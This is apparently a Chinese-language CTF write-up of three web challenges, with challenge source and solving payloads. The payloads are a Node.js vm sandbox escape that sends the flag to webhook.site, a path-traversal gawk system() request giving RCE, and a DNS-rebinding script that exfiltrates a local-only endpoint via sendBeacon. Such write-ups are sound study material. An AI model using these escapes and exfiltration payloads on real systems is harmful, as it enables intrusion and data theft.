记录一下其中几道题里学到的东西
比赛网址:https://burnt.firebird.sh/challenges
Payload Collector (5 solves)
const express = require('express');
const path = require('path');
const vm = require('vm');
const FLAG = require('./flag');
const app = express();
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
let output = '';
const code = req.query.code + '';
if (code) {
try {
const result = vm.runInNewContext(`(function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), {timeout:100});
output = result + '';
if (output.includes('firebird')) {
output = 'Error: go away hackers';
}
}
catch (e) {
output = 'Error: some errors occured';
}
}
else {
output = 'Error: invalid code';
}
res.render('index', {title:'Payload Collector', output});
});
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});
module.exports = app;
目标是一个Node.js服务,我们输入的代码被放到了vm模块里面运行
const result = vm.runInNewContext(`(function () { return ${code}; /* ${FLAG} */ })()`,Object.create(null), {timeout:100});
目标解法其实很简单,利用Node.js 的特性可以获得当前函数内容
arguments.callee.toString().substr(70)
不过我不熟悉Node.js,解题的时候完全被这个vm吸引走了,于是去找了一堆vm escape的方法。奇怪的是很多教程里的方法都不管用,最后还是在这里找到了一个可用的方法。
最终payload:
new Proxy({}, {
get: function(me, key) { (arguments.callee.caller.constructor(`
console.log(process);
var require = process.mainModule.constructor._load;
const http = require('http');
http.get({hostname: 'webhook.site',port: 80,path: '/354c545b-c8c0-4204-9f00-5fe570c0e5d9?a=1',agent: false});
const flag = require('./flag');
http.get({hostname: 'webhook.site',port: 80,path: "/354c545b-c8c0-4204-9f00-5fe570c0e5d9?a=1"+flag,agent: false});
`))() }
});
简单来说就是字符串里的function会在声明的时候evaluate一次,而且是在global下,所以就是RCE了
Sherver2 (2 solves)
基于这个库的一个web服务器,本身就全是漏洞。目标是RCE,攻击入口在这里。
function run_script()
{
cd 'scripts'
parse_url "${1:-$REQUEST_URL}"
local -r script="${URL_BASE:1}"
# test if file exists, is a file, and is runnable
if [ ! -e "$script" ] || [ ! -f "$script" ] || [ ! -x "$script" ]; then
send_error 404
fi
"./$script" "${1:-$REQUEST_URL}" || send_error 500
}
export -f run_script
只要知道gawk的使用很容易就可以解出来,payload如下
GET "../usr/bin/gawk?"{system($1)} HTTP/1.1
Vulplagiarize (2 solves)
这是一个会帮你将输入网站截屏然后模糊化的服务
@app.route('/flag')
def flag():
if request.remote_addr == '127.0.0.1':
return message(FLAG)
return message("allow only from local")
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/submit', methods=['GET'])
def submit():
path = 'static/images/%s.png' % uuid.uuid4().hex
url = request.args.get('url')
if url:
# avoid hackers
if not url.startswith('http://') and not url.startswith('https://'):
return message(msg='malformed url')
# access url
try:
driver.get(url)
data = driver.get_screenshot_as_png()
except common.exceptions.WebDriverException as e:
return message(msg=str(e))
# save result
img = Image.open(io.BytesIO(data))
img = img.resize((64,64), resample=Image.BILINEAR)
img = img.resize((1920,1080), Image.NEAREST)
img.save(path)
return message(msg=path)
else:
return message(msg="url not found :(")
这里需要绕过的就是request.remote_addr == '127.0.0.1'
可以利用DNS rebinding绕过CORS(虽然我没成功)
<script>
function x(){
fetch("http://00000000.xxxxxxxx.rbndr.us:8000/flag").then(e= e.text()).then(e=navigator.sendBeacon("https://webhook.site/<webhook>",e));
setTimeout("x()",20000);
}
x();
</script>